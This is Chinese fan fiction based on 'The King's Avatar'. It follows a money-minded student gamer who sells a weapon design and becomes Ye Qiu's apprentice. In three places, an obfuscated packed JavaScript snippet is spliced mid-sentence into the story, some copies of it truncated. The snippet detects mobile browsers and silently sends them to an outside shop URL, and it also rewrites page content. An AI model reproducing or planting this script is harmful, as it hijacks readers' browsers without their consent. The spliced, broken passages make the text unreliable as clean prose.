《[全职高手]问就是没钱》 1. 第 1 章 息宁接触到“荣耀”这款游戏,纯属意外。 当年她还是一名单纯且贫穷的大一新生,同寝室的舍友们纷纷加入各种社团,迫不及待地享受美好的大学生活,只有她觉得社团活动只会影响她“搞钱”的速度,于是转身向食堂走去,而后接过了食堂打饭大妈手中沉甸甸的大勺。 凭借“量大、肉多、手不抖”的良心打菜风格,成功造福了整个宿舍的人。 没过多久,她又通过了图书馆的勤工俭学面试。从此,她们宿舍来图书馆自习,永远能“恰好”坐在离插座最近、采光最好的黄金位置。 这就是朝中有人好办事! 毕竟,每天第一个推开自习区大门的,永远是她息宁。 用她自己的话说就是:“贫穷治好了我的赖床,甚至让我有点失眠。” 至于为什么别人都在享受青春,而她忙着在各个兼职岗位间奔波? 别问! 问就是没钱! 俗话说得好,拿人家手短,吃人家嘴软,息宁凭借自己手中的这一点儿“特权”,成功征服了全宿舍的胃,还有心,被舍友一致票选为“感动206年度人物”。 你问206是什么? 息宁头也没抬,随手往门框上一指:那儿钉着一块有点褪色的蓝色门牌。 三名舍友都是“荣耀”的忠实玩家,为了更好的游戏体验,也为了宿舍众人的日常上网需求,她们计划合资给宿舍扯个宽带。 大家都知道息宁的情况,她不仅忙着兼职,平时也完全不碰游戏。更何况,她们还靠着息宁的食堂和图书馆兼职收获了极大的便利。因此,三人当即拍板:今后的宽带费用由她们三个平摊就好。 但对息宁来说,这实在有点不好意思。大家初入大学,算不上太熟,而且这是笔长期开支,她不想占这个便宜。于是她坚持要分摊一份,怕室友们推辞,还找了个看似合理的理由:“其实我也挺好奇荣耀到底有什么魅力……等有空了,我也想试试看。” 装宽带的事就这样尘埃落定。可息宁的“荣耀之旅”却迟迟没有启程。 对她而言,实打实的RMB,终究比虚拟世界的胜负更有吸引力。 即便在宿舍休息时,她也只是看看手机,算算账,与每周追荣耀比赛,每天刷副本的室友相比,多少显得有些格格不入。 室友以为她是舍不得买帐号卡,三人私下里一合计,投桃报李,将一张崭新的荣耀账号卡,放在了息宁的桌上。 盛情难却,息宁本想象征性的玩一玩,毕竟,她的生活重心始终是“搞钱”。但室友宋爽的一番话,彻底扭转了她的看法。 “荣耀也能搞钱啊!”宋爽扳着手指给她算,“万一你天赋异禀成了职业选手,那直接年薪百万起步,商务代言接到手软。你知道苏沐橙吗?你知道她多少代言吗?而且就算成不了职业选手,游戏里的高玩给各大战队公会打工,那也是领稳定工资的‘正规军’。再不济,当个自由的工作室代练,或者买卖游戏资源、做装备商人……赚钱的路子多着呢!” 她最后总结,语气充满诱惑:“一台电脑,一个人,玩着游戏钱就自动进账。息宁,这简直是为你量身定做的兼职啊,你还犹豫什么?” 这番“搞钱指南”结合了远大的前景和实在的路径,加上室友们在一旁煽风点火般的附和,颇有几分传销现场的热情风采。 而“搞钱”这两个字,精准地击中了息宁的软肋。 她心动了。 没想到,息宁在游戏上还真有几分天赋。不仅手速快、判断准,更重要的是:她为了赚钱,肯下苦功练技术。 虽然目的“不纯”,但上手极快,在三位舍友的带领下,竟一路顺畅地升上了神之领域。 虽然游戏水平距离“年薪百万”的职业选手还很遥远,但她已然成了宿舍里独一档的高玩。 于是,她火速开启了“荣耀代练”业务:舍友免费,同专业半价,同系八折,老师原价,爱点名的,价格翻倍! 当然,并没有老师真的来找她代打,上面只是她的给自己安排的宣传词。 和多位荣耀厉害的同学切磋过几轮后,她的游戏水平得到了广泛认证,“技术靠谱”的口碑渐渐传开。 这碗“代练饭”,算是被她端稳了。 靠着这门手艺,息宁不仅在校园里小有名气,账户余额也实实在在地涨了起来,无论是代练还是倒卖装备资源,确实比勤工俭学来钱快。 时间久了,息宁的心思又活泛起来。代练和倒卖虽能赚钱,但时间成本太高,她想要个来钱更快、甚至能一劳永逸的“项目”。 于是,她盯上了银武研发。 玩荣耀的都知道,游戏里最值钱的就是银武。如果能吃透它的设计思路,哪怕只是掌握一部分规律,赚钱都会轻松得多。 从此,她一头扎了进去。一边游戏,一边演算,把网游玩成了研发课;上课时在底下偷偷推演数据,回宿舍就梳理各类材料属性、琢磨装备编辑器。游戏界面旁永远开着密密麻麻的笔记和草图。 作为一名建筑系学生,她在图纸设计与空间构型上确实天赋不错。毕竟她的机械设计与工程制图都是高分,手绘图册还被老师重点表扬过。 倒不是她多么热爱学习,只是她舍不得将每年那笔“国家励志奖学金”拱手让人。 你看,学习最好的学生,拿的是“国家奖学金”。 而像息宁这种“学习好但没钱”的学生,国家告诉她,你要“励志”! 经过长达一年的潜心研究,理智的息宁终于搞出了一份看起来靠谱的银武图纸。 新的麻烦随之出现——银武的制作与后续升级,需要消耗大量稀有材料。而她作为一名普通玩家,获取渠道几乎为零。 花钱收购? 这首先就被她根深蒂固的“穷人”思维否决了。 她向来抵触加入公会,觉得加入公会意味着失去自由,还得听从指挥,为俱乐部“打白工”。过去,她只在各大公会为了野图BOSS混战时,远远观望,看看有没有机会当个拾个荒。 但现在,为了凑点儿材料,她不得不向大公会的资源库低头。毕竟单枪匹马想碰到野图BOSS并拿下,概率无限趋近于零。虽然大公会的稀有材料主要供应给背后的职业俱乐部,但普通成员凭借贡献度,依然有机会分到一些“残羹剩饭”。 最终,她点下了嘉王朝公会的申请。 理由简单到甚至有些纯粹:她玩的,是战斗法师。 至于职业选择的理由,只能说人类的本质都是慕强的,三连冠的吸引力还是太致命了。玩荣耀的,除了铁杆的霸图死忠粉,谁能不爱叶秋大神呢? 粉叶秋大神,在论坛跟人吵架都格外有底气,毕竟吵不赢了,只需要轻飘飘的问一句:“你几个冠军?” 因为叶秋三连冠,所以息宁一般都连问三遍,字字诛心。 平时在宿舍,她也这么干,然后被舍友们“正义群殴”。 很不幸,她的三位室友,全是铁杆的霸图粉丝,毕竟这里是青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934807|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛,霸图的地盘。 当然,支撑这份“粉丝情怀”的,还有一个更现实的理由:叶秋的粉丝基数实在太庞大了。 这意味着,战斗法师的装备、攻略、乃至代练市场,都远比别的职业广阔。 谁会跟钱过不去呢? 情怀与生计,在她这里从来不是单选题。 至于加入公会这事,抛开粉丝立场,从现实角度考虑:嘉王朝作为嘉世战队的下属公会,游戏资源的侧重点必然围绕“一叶之秋”。因此,他们对战斗法师可能用到的稀有材料格外敏感,会投入更多精力去争夺相关野图BOSS。 而息宁这份银武的设计雏形,正是一柄战矛。叶秋的“却邪”,一直是她研究银武时反复参考、甚至试图逆向拆解的“终极模板”。 加入嘉王朝,于她而言,既是朝圣,也是结合现实的考量。 加入公会的过程很顺利。毕竟,没有哪个大公会会拒绝一名操作过硬的高玩,此前就有好几家公会曾向她抛出过橄榄枝。 进入嘉王朝后,息宁最初走的仍是独行侠路线。她与公会成员几乎没有交集,在她看来,不产生实际收益的社交,纯属浪费时间。 她目标明确:拼命积攒材料,兑换公会贡献值。下副本、打BOSS,也都是不得不去时才参加,完全是为“攒分”服务。 然而,为嘉王朝“打白工”的日子,远比想象中更难熬。公会贡献度涨得慢如龟爬,稀有材料更是僧多粥少。往往她看中某样材料,吭哧吭哧攒了半天贡献,一刷新列表,已被别人抢先兑走。 白忙一场的感觉,一次次浇灭她的热情。 痛定思痛,息宁不得不承认一个现实:在我国的基本国情下,哪怕是虚拟世界的网游公会,也逃不开“人情社会”这四个字! 她果断调整策略,并调整了自己的声线。 从此,她走上了一条“撒娇卖萌、打团划水”的崭新道路。 尽职尽责?飚手速带队友?配合参差不齐的水平?多累啊。最后分到的材料也就那么丁点儿,至于什么“公会荣誉”、“为大神的银武添砖加瓦”、“精英团的荣光”,空口白牙的,又不能当钱花。 哪比得上她夹着嗓子喊几声“哥哥”,茶里茶气地哭哭穷,来得立竿见影? 虽然大家“援助”她的,多半也不是什么值钱货色。 但苍蝇腿也是肉啊。 看看日渐丰盈的仓库,息宁“夹”的更卖力了。 那矫揉造作的夹子音透过耳机飘出来,把三位室友膈应得浑身难受。 终于,在某次息宁又对着麦克风“哥哥长哥哥短”之后,三位霸图粉丝忍无可忍,召开了紧急宿舍会议,并得出了一致结论:“粉叶秋粉的!” “唉,算了,她都粉叶秋了……就让让她吧。” “叶秋粉丝嘛,做出什么举动都不奇怪。” “这种姿态,我们霸图人是不屑做,也做不来的。” 会议在三声整齐的、恨铁不成钢的叹息中结束。 不过,姑娘虽然摸鱼,也是有技巧的摸鱼。至少在嘉王朝的诸位精英看来,她每次活动都“十分尽力”,而且嘴甜乖巧,乐于助人。公会精英团里大多是汉子,难得遇上这么一个技术在线,性格软萌的妹子,自然对她多有照拂。 就在息宁觉得,自己快要凭借这身“优秀演技”混到公会核心层,搬空公会仓库,实现材料自由指日可待的时候,她遇到了自己的偶像,或者说,她撞上了自己的“终极考题”——叶秋大神。 2. 第 2 章 起初,息宁也不知道那个穿的花里胡哨,一身破烂装备的战斗法师是叶秋大神。她只是看见,这人一来就被团长亲自安排进了精英队,还特意叮嘱大家:“不用管他,让他自己玩就行。” 她瞬间断定:这是个有关系的“空降兵”。 出于同职业那点微妙的亲近感,更出于“攀附关系”的本能,她立刻切换成“公会热心大姐”模式,主动凑过去,摆出一副可靠前辈的姿态:“新人?等会儿下本要是不知道走位,就跟紧我哈。” 毕竟,她最爱带菜鸟了。菜鸟懂得少,要求低,正是她摸鱼划水的绝佳掩护。 结果,叶秋大神也真是半点架子没有,从善如流,整个副本真就像个彻头彻尾的小白,全程亦步亦趋地跟在她身后。 这一跟,就让他看出了猫腻。 这姑娘的操作水平,简直比股市大盘还刺激:时而上蹿下跳猛如虎,时而卡顿延迟菜如狗。好一阵儿,坏一阵儿,波动之剧烈,切换之突兀,让人猝不及防。 装小白的叶秋,抬手摸了摸下巴,觉得这事儿,有点儿意思。 那天息宁确实有点得意忘形了。 到了第二个副本,她连“尽力表演”都省了,直接借着“照顾新人”的名义,划水划得理直气壮。 划水之余,她甚至开启了“炫纹收集模式”。龙牙、落花掌、天击、连突、圆舞棍……技能按固定顺序循环打出,看似招式连贯,实则每次命中敌人后都迅速滑步后撤。一套操作行云流水,唯一的目标就是始终保持自己身边环绕着七个色彩各异的炫纹光球。 毕竟,战斗法师最酷的不就是这些炫纹光效吗? 于是,荣耀好好一个硬核竞技游戏,硬是被她玩成了“奇迹暖暖·炫纹收集版”。 跟在她身后的叶秋,默默观察着这套固定到近乎刻板的循环。他很快摸清了规律,甚至发现这姑娘在维持炫纹颜色左右对称上,有着惊人的强迫症:有时明明下意识打出了更优解的技能,她也会强行取消,只为了下一个技能生成的炫纹能和对面颜色对称。 这份对“形式美”的偏执,让他瞬间想起了霸图那位严谨到骨子里的副队长。 但眼前的姑娘显然没有那份严肃。她偷懒耍滑的天赋堪称一流,对着麦克风还能无缝切换另一套说辞:“哎呀!又手忙脚乱按错技能了!真对不起大家拖后腿了啦!” 刻意夹起的声线,带着恰到好处的小委屈和自责,瞬间换来队友们一片“没事没事”、“你已经很棒了”、“我刚才也失误了”的安慰。 叶秋忍不住轻轻“啧”了一声。 这还是个演技派。 叶秋顿时来了兴致。 副本一结束,他就主动找上这位“热心前辈”,假意请教,实则发出邀约:“前辈,刚才看你操作好厉害,能不能……去竞技场指导我几招?” 息宁第一反应是拒绝。带这小子打了三个本,自己半点好处没捞着,试探他来历也被他三言两语打发了。她时间宝贵,可没兴趣招待这种“关系户穷亲戚”。 结果对方锲而不舍,反复邀请,最后竟直接抛出了杀手锏:“要不这样,前辈,我们赌点彩头。我这儿正好有几种稀有材料,白狼利齿,秘银吊坠。你要赢了,就送给你,算我的拜师礼,怎么样?” 穿得破破烂烂,家底倒是挺厚。稀有材料都送到嘴边了,自然却之不恭了! “行啊。”息宁答应得干脆,顺手建好了房间,“开修正场吧,照顾一下你的装备。” “不用。”对方秒回,语气诚恳,显得格外单纯与天真,“我就想看看,自己和前辈的‘真实差距’有多大。” 对方上赶着找虐,息宁自然乐得成全。但为了维持自己在嘉王朝的“萌妹”人设,她手上打着,嘴上也没闲着,时不时“哎呀”一声,表演得敬业十足。 渐渐地,她笑不出来了。 对面好强! 强得离谱,比她以往接触过的任何一个玩家都要强。攻势如潮水般压来,她已经开始招架不住了。 就在她疲于招架时,对面那个欠揍的声音又响起了,带着毫不掩饰的调侃:“妹子,再装下去,真的会输哦。” 对面仿佛仿佛在玩一场猫鼠游戏,全程游刃有余,见招拆招,她认真一分,对面也认真一分,仿佛在试探她的极限在哪里。 最可恶的是对面还有余力全程对她进行嘲讽。 “哎?你怎么不保持你的7个炫纹了?” “现在用落花掌好吗?你的炫纹左右不对称了哦。” “哟,认真了?妹子这手速可以啊,完全没有刚才副本里的手忙脚乱了,进步神速啊。” 意识到自己副本里那套把戏早被对方看得一清二楚,息宁瞬间恼羞成怒。她不再保留,手速彻底爆发,试图用纯粹的攻势碾压过去。 然后输得更快、更干脆。 息宁起初还不服,咬牙又连开两局。 结果一局比一局输得迅速,实力的鸿沟清晰得让人绝望。 息宁自从玩荣耀一直都顺风顺水,舍友们虽然是霸图死忠,但是求她代打时也得忍气吞声,把她和叶神捧上天;自己加入嘉王朝也是轻轻松松,摸鱼划水从未失手,还混的顺风顺水。 可这三场摧枯拉朽的PK,像三盆冰水,把她那点小得意浇得透心凉。 她盯着屏幕上鲜红的“失败”字样,沉默了好几秒,然后悲愤地退出了竞技场。 叶秋看对面一声不吭秒退,还以为把妹子打击狠了,赶紧追过去,试图安慰:“没事哈,输给哥,不丢人。” 息宁本来只是有点郁闷自闭,一听这话,怒火“噌”地就窜上来了:“你这话也太不要脸了吧!再来!” 她情绪一激动,忘了夹音,一句怒吼直接切回了原本清亮又带点冷感的正常声线。 叶秋被她这突如其来的“声线切换”惊得手一抖,脱口而出:“嚯!只见过游戏输了掉装备的,第一次见输了还带换声卡的……” 士可杀,不可辱! “开!”息宁懒得废话,咬牙切齿地吼道。 于是,她又连输了十局。 打到后来,息宁那点不服气的火苗已经被彻底浇灭,心里只剩一片冰凉的震撼。她不得不承认,天外有天,人外有人,但这“人”也强得太离谱了点儿。 而且,对方每打完一局,还会停下来,慢条斯理地给她复盘。指出的问题一针见血,给出的建议清晰实用。 这哪是PK?这分明是手把手在打指导赛啊! 自己这是被“虐杀”了,还得乖乖听课、记笔记?! 息宁盯着屏幕,感觉脸上火辣辣的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934808|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自己这是“被杀”又受辱啊! 联想到对方先是穿着一身破烂空降精英团,让团长特意关照;跟着她打了三个副本就精准看穿她的伪装;最后还能用那身破烂装备连虐她十三局…… 息宁脑中灵光一闪,一个大胆的猜想脱口而出:“你……该不会是个职业选手吧?” 对面发来一个憨厚摸头的表情,故作高深地回了两个字:“你猜?” 猜你个头! 这实力,这做派,除了职业圈里那些妖孽,还能有谁? 息宁瞬间怒了:“职业选手不去打比赛扬名立万,跑到网游里虐菜是什么意思?你们嘉世今年成绩难道很好吗?!” 她越说越气,积压已久的粉丝怒火彻底喷发:“看看你们把叶秋大神累成什么样了!别的战队核心是‘吃草挤奶’,叶秋大神根本是‘空腹下蛋’!我都怕哪天比赛打完,叶神直接原地羽化登仙,座位上就剩一颗烧剩下的舍利子!怎么,把叶神炼化成舍利子你们嘉世负责盘吗?!” 虽说话糙理不糙,但是妹子你这话也太糙了! 对面沉默了好一会儿,半响才开口:“没想到,你还是我……还是叶秋的粉丝。” 这个生硬的改口,让息宁瞬间福至心灵。联想到对方的职业,以及刚才PK时那熟悉到令人头皮发麻的压迫感和嘲讽风格…… 一个更大胆、更不可思议的猜测,让她心脏狂跳起来。 提到偶像的名字,息宁态度都变得谦卑了起来,一键切换尊称:“您……您该不会是叶秋大神本人吧?” “妹子你不仅技术不错,看人眼光也很准啊。”对面坦然承认,“虽然我没法给你看身份证,但我确实是。” 活的! 活的职业选手!活的叶秋大神! 息宁手速瞬间爆发,加好友、同框截图、保存PK录像一气呵成,生怕下一秒对方就消失了。 做完这一切,她看着好友列表里那个朴素的ID,犹豫再三,还是没忍住,发出了一个极其现实的问题:“大神冒昧问一下,您年薪……几千万?” “……” 这个过于直白的问题,显然把叶秋噎住了。以前遇到的粉丝,有不信的,有尖叫的,有要签名的,有求PK的……上来就问年薪的,这还是头一个。 这妹子,插刀的角度真是清奇。 息宁问完也觉不妥。初次见面就问人家收入,确实太冒昧了,大神的薪资估计都是商业机密。于是她眼珠一转,想起了另一个更实际、更迫切的疑问:“大神,那……您之前说的稀有材料,还作数吗?” 虽然自己的水平不配收“拜师礼”,但可以反向操作嘛!徒弟孝敬师父是传统美德,那师父给徒弟点见面礼,不也很合理?堂堂嘉世队长,坐拥整个嘉王朝的仓库,手指缝里漏点都够她吃了。 这个问题,叶秋倒是回得飞快:“哦,那个啊,刚骗你的。我根本没有稀有材料。” “叶秋大神竟然骗人?!” 息宁倒吸一口凉气,信仰仿佛裂开了一条缝。 叶秋回得理直气壮,甚至带着点调侃:“说好了赢了才给你。就你现在这水平,啧……就算我有,你也拿不到啊。” 虽然偶像说的是大实话。 可那一声充满嫌弃的“啧”,还是让息宁的心,碎得噼里啪啦。 3. 第 3 章 如果说息宁前几天还对方“叶秋大神”的身份还有几分怀疑,那么今天,她是彻底相信了。 因为大神今天,直接带来了一位枪炮师妹子,一起“指点”她。 一身破烂的战斗法师和美女枪炮师的组合,这个组合在荣耀里,辨识度实在太高了,堪称某种“权威认证”。 对面的枪炮师角色建模极其精致,打起人来却毫不留情,炮火又准又狠。而且耳机里传来的女声清亮悦耳,息宁几乎是瞬间就认出来了:这绝对是苏沐橙!毕竟苏大美女的广告和采访,她在手机和网络上可没少看。 息宁怀着“和荣耀第一美女贴贴”的巨大喜悦,在自己偶像的无情嘲讽下,又连输十局。 然后息宁的梦就碎了,她和职业选手的差距有点太大了。 她那个“一不小心成为职业选手,然后年薪百万,实现财富自由,走上人生巅峰”的美好畅想……像阳光下漂亮的泡沫,被叶秋一矛,苏沐橙一炮,轻轻松松,戳了个粉碎。 道心破碎的息宁躺在地上不肯起来,对面两位大神守着她的“尸体”,直接开始复盘,对她评头论足。 “觉得怎么样?”这是一身破烂还爱开嘲讽的叶秋大神。 “嗯,挺有天赋,我也觉得她更适合枪系角色。”这是人美声甜的苏沐橙。 “什么枪系?”这是结束躺尸,原地复活的息宁。 “通过这二十几场PK来看。”叶秋的声音慢悠悠响起,宛如专业分析师一般:“你的手速、动态瞄准能力和操作习惯,明显更偏向枪系。你没发现自己很擅长在移动中保持输出,并且对攻击距离和火力覆盖范围有天然敏感吗?对弹道预判和走位规避的直觉也不错。” 他顿了顿,给出最终判决:“如果想往高处走,放弃战斗法师吧。神枪手,可能才是你的本命职业。” 息宁原本还在为“被偶像亲自指导”而偷偷沾沾自喜,以为这算是一种变相的认可。 没想到,偶像看完她的表现,直接把她作为战斗法师的“未来”给否定了! 她试图挣扎,甚至打起了感情牌:“可是……我玩战斗法师,就是因为崇拜叶秋大神你啊!你是我的偶像!” “哦。”叶秋闻言,语气没有丝毫波澜,“你的偶像看完你的实战表现后,真诚建议你:转职神枪手。” ……忠言果然逆耳! “可是……这个号我辛辛苦苦练到满级,攒了这么多材料,多不容易啊。” “孩子!”叶秋语重心长,仿佛在劝导迷途羔羊,“在错误的路上停下来,就是最大的前进。这叫及时止损。”他话锋一转,带上了熟悉的调侃:“还是说,神枪手不能攒你那七个彩色炫纹,不够吸引你?还是战斗法师这个职业,绑定了你的……‘特色’声线?” 又被提起攒炫纹和夹子音的黑历史,息宁顿时羞耻到脚趾抠地。她只能祭出最终武器,开始哭穷:“其实……我真的很穷。穷到根本买不起第二张账号卡。我这张卡,还是三个室友当初集资送我的……” “刚才是谁吹嘘自己‘诸武精通’,连神枪手的代练都接过?”叶秋毫不留情地拆台,“代练赚的钱,还不够买张账号卡?” 这话确实没法接。 就在和苏沐橙的第一局PK结束后,苏沐橙曾随口问过她:“玩过神枪手吗?”当时息宁被美女搭话冲昏了头脑,拍着胸脯信誓旦旦地吹牛:“当然玩过!我可是代练,虽然比不上叶秋大神,但也算‘诸武精通’!” “没钱也没关系。”苏沐橙的声音依旧温和,“你可以考虑加入嘉世战队的训练营。那里不仅提供账号卡,还包吃包住。” 息宁瞬间警觉,发出了灵魂三问:“加入训练营,我能保证出道吗?出道了,我能保证首发吗?首发了,我能一枪爆了周泽楷,然后扬名立万走上人生巅峰吗?” “这世上哪有百分之百的事。”叶秋接话,语气平静却扎心,“但你作为战斗法师出道的概率,基本可以确定是零。” 息宁沉默了一下,问出了她最核心的关切:“那……嘉世训练营,发工资吗?” “有基础的生活补贴。”苏沐橙回答。 “哦,那算了。”息宁瞬间泄了气。虽然是大神亲自邀请,但得先转职,前途未卜,嘉世目前也没有神枪手的王牌。最重要的是,“基础生活补贴”听起来就少得可怜,这条“搞钱路线”显然风险太高,收益不明。 况且,她现阶段的人生第一目标,是大学顺利毕业。要是让家里老太太知道她为了打游戏“荒废学业”,怕是会直接拎着鸡毛掸子杀到学校来。 “我在青岛上大学,暂时……不想离家太远。”她找了个更温和的理由。 “没关系,你可以先在游戏里转职神枪手试试。”苏沐橙依旧耐心,真诚建议。 美色当前,息宁一向不擅长应付。她支支吾吾了半天,眼看糊弄不过去,最终心一横,选择了和盘托出:“其实……我攒了好久,给自己搞了一份战矛的银武设计图,正在凑材料。现在换职业,这图就全废了,后面的升级和实测……也都不方便做了。” 叶秋一听,乐了。没想到这姑娘还有这种惊喜,竟然是走技术路线的! 他当即让息宁加他联系方式,说如果信得过,可以帮她看看。 息宁乖乖加了好友。或许是怕她不放心,苏沐橙还贴心发来了一段自拍视频,背景里清晰地露出了嘉世训练室的一角。 美女都这么主动自证了,息宁也不再扭捏,干脆利落地把自己熬了无数个日夜整理出的设计图,后续升级构想,以及一堆分析稀有材料属性的手写笔记,全部发了过去。 叶秋那边安静了好一会儿,显然在研究。半晌,他发来第一句评价:“字写得不错。” “……” 息宁无语,“大神,你接下来是不是还想夸我手绘的图挺工整?” “你很有自知之明,预判了我的夸奖。”叶秋从善如流,“我确实是第一次见人手绘3D武器结构图的。” 息宁呵呵两声:“我建筑系的,机械与工程制图是必修课。大神你要是喜欢,我可以用CAD给你重新描一遍,顺便给你画个‘却邪’的分解图也行。” “那不用。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934809|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶秋回得飞快,“我文化有限,你说的什么CAD,我估计连图标都找不到在哪儿。” 他话锋一转,终于切入正题:“平心而论,你这银武设计的水平,比你玩战斗法师的水平有竞争力得多。之前跟你说就算转了神枪手也未必保证能出道,但凭这个设计能力,再精进一下,入职嘉世技术部,感觉很有希望。” 大神说话总是这么令人纠结,好像在夸你,又像在给你泼冷水。 她又没打算入职技术部,息宁老老实实交代初衷:“我一个穷学生,研究这个,就是想搞点钱罢了。” “搞钱的话,也不一定非得把武器做出来。”叶秋指点道,“直接卖设计图,也是一条路。” “设计图怎么卖啊?”息宁对此很清醒,“人家凭什么相信我一个学生?还是做出成品,手里有货,才好叫价。”她私下了解过行情,没背景的个人玩家想取得俱乐部信任,太难了。 “我可以帮你对接嘉世。”叶秋抛出橄榄枝,“嘉世一直有收集战斗法师银武的设计思路。有我作保,他们应该愿意相信你。你也不必担心图纸泄露或被压价。” 大神竟然这么热心帮她搞钱?息宁被这突如其来的善意冲得有点晕,很上道地主动“割肉”:“大神,你需要抽成吗?我也不知道能卖多少钱,更不懂该给中间人多少。只要成了,您开个价。” “不用。”叶秋被这直白的“人情世故”逗笑了,“你的设计思路对嘉世也是一种启发和补充。” 他顿了顿,图穷匕见:“如果实在想谢我……要不,试试神枪手?” 他还是不忍心看这么块好料子,在错误的道路上越走越远。 “那还是先看看嘉世的报价吧。”息宁秒回。 言外之意清晰无比:这是另外的价钱。钱不到位,免谈。 经过嘉世技术部分析,她的这份银武图纸整体性能一般,但攻速强化非常突出,用于特殊战术或者为后续研究提供思路还是很有价值的,俱乐部最终决定买断图纸及相关升级方案。 得益于叶秋的牵线搭桥,和帮忙争取,息宁最终到手:五万元整 整整五万块!远超息宁的心理预期,毕竟只是图纸,其实一万块她就肯卖,作为一个穷学生,息宁还没见过五万块这么多钱! 金钱的魔力瞬间冲垮了所有矜持。息宁当即一个语音通话拨过去,声情并茂、几乎要声泪俱下地表忠心: “师父!从今往后,您就是我亲师父!比亲爹还亲的那种!” “您让我玩神枪手,我绝对不碰战斗法师一根手指头!我的战法号从此封印,它就是师父您伟大指引的纪念碑!” “我,息宁,生是嘉王朝的人,死是嘉王朝的死人!以后公会指哪儿我打哪儿,野图BOSS抢到吐,副本刷到秃,为嘉王朝的伟大复兴鞠躬尽瘁,死而后已!” 隔着网线,叶秋仿佛都能看见这丫头对着屏幕指天誓日、恨不得当场写血书的模样。 他有点好笑,又有点无奈,最后只是淡淡回了一句:“……行了,戏过了。副本门口集合,今天就开始干活吧。” 4. 第 4 章 金钱的魅力是无限的。 签完电子合同的息宁,直接开起了自己的嘉王朝打工生涯,对叶秋的态度发生了一百八十度转变,极尽谄媚之态,搞得叶秋都有点招架不住。 她仿佛重拾了在嘉王朝初期的“萌妹”人设,嘴甜得能齁死人,不仅主动购入一张满级神枪手账号卡,还单方面认师,天天夹着嗓子,消息轰炸: “师父~您觉得我神枪手入门,该看哪位大神的视频呀?以前学战斗法师,我可都是看您的视频呢!” “师父父,您今晚有空指点徒儿几招吗?[可怜][可怜]” “师父!今天比赛虽然输了,但您战斗的英姿依旧那么耀眼!沐橙姐也还是又美又强![星星眼]” 当然,夹子音也夹不住她偶尔喷发的真情实感。比如在嘉世又输掉一场关键比赛后: “师父,今天的比赛再次血淋淋地证明了‘荣耀不是一个人的游戏’!嘉世除了您和沐橙姐,剩下那几位……他们的操作离‘人’很远,离‘蛆’很近!带他们打比赛不如直接带五个哥布林上阵!键盘上撒一把米,鸡都比他们技能放的好……啊不好意思,我情绪有点激动。” “主要是,你们今天输给的是霸图啊!这场比赛让我在宿舍里根本抬不起头!而且赛前我还在直播平台压了嘉世10个硬币……现在血本无归了!” “当然!我完全没有暗示师父您该赔偿我的意思……[对手指]” …… 经过这段时间的相处,叶秋早已摸清了这姑娘的底细:之前嘉王朝那个“萌妹”纯属公会贡献度驱动的人设,私下里其实是自己的战斗型死忠粉,天天在论坛和微博跟黑子激情对线的那种。更知道了她深入骨髓的“哭穷”人设和“搞钱”本能。 最初看到她神枪手改的角色名“息事宁人”,刚开始还觉得挺有几分霸气雄图的沉稳风范。可现在,听着她毫无下限的谄媚赞美,以及嘉世一输比赛就秒变脸的犀利嘲讽和垃圾话…… 叶秋偶尔会觉得,这作风,还真有点像自己带出来的,默默认下了这个徒弟。 而此刻,这已经是息宁第七次“无意间”提起自己因为嘉世输比赛而亏损的“10个硬币”了。 叶秋听懂了那锲而不舍的暗示,转头托苏沐橙微信给她转了200块钱,美其名曰“补偿徒弟观看嘉世比赛所遭受的精神损失”。 看着息宁秒收红包后发来的感谢表情包,以及再次上线的夹子音,叶秋再一次深刻感慨:有钱果然能使鬼推磨,更能让自家徒弟瞬间变脸。 “你说你小小年纪,怎么满脑子都是钱?”在息宁又一次忍不住,偷偷向苏沐橙打听职业选手年薪和广告代言分成时,叶秋终于忍不住发问,“卖图纸的钱不是刚到手吗?你一个学生要这么多钱干什么?” “因为我穷啊!没钱啊!”息宁理直气壮,开始一本正经地胡说八道,“师父,你不懂,我是‘钱失禁体质’,手上一没钱,我就想哭。为了我的身心健康,只能努力搞钱了。这就叫:金钱虐我千百遍,我待金钱如初恋!” 这话一听就是鬼扯。叶秋懒得理她,直接打断施法:“少贫,赶紧的,前面刷新野图BOSS了,过来干活。” “来啦!” 拿人钱财,替人消灾的道理,息宁自然懂。更何况,给自家师父,兼金主打工,比接零散代练有前途和钱途。最近她连外面的代练单子都接得少了,天天泡在嘉王朝公会里,就等着叶秋一声令下,化身勤勤恳恳的“编外打手”。 相处久了,关于自己对钱那份近乎偏执的渴望,息宁偶尔也会对叶秋和苏沐橙吐露一两句实话:“当然是为了在青岛买房啊。” “你家不就是青岛的吗?”苏沐橙记得,之前聊天时息宁提过大学周末能回家,这无疑是本地人才有的待遇。 